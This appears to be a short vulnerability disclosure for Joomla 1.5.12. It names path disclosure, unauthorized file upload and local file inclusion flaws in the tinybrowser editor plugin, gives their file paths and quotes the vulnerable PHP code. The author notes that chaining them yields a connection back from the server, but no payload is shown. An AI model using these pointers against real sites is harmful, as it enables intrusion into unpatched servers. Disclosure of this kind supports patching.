	Joomla 1.5.12 suffers from different kinds of vulnerabilities:
		- path disclosure
		- unauthorized file upload
		- local file inclusion
 
	I heard of unauthorized file upload in Joomla 1.5.12 and I decided to make some research on the topic. Soon after
	that I found two more vulnerabilities - path disclosure and local file inclusion. Maybe there are more vulnerabilities
	but these are enough to get a connection back from the server.

	Path disclosure: joomla/libraries/joomla/client/ldap.php
	Unauthorized file upload: joomla/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php (upload_file.php)
	Local file inclusion: joomla/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php

	Here is the LFI vulnerability:
	-- snip-snip: folders.php --
	<?php
		require_once('config_tinybrowser.php');
		// Set language

		if(isset($tinybrowser['language']) && file_exists('langs/'.$tinybrowser['language'].'.php')) {
			require_once('langs/'.$tinybrowser['language'].'.php'); 
		}
		else {
			require_once('langs/en.php'); // Falls back to English
		}
		...
	-- snip-snip --
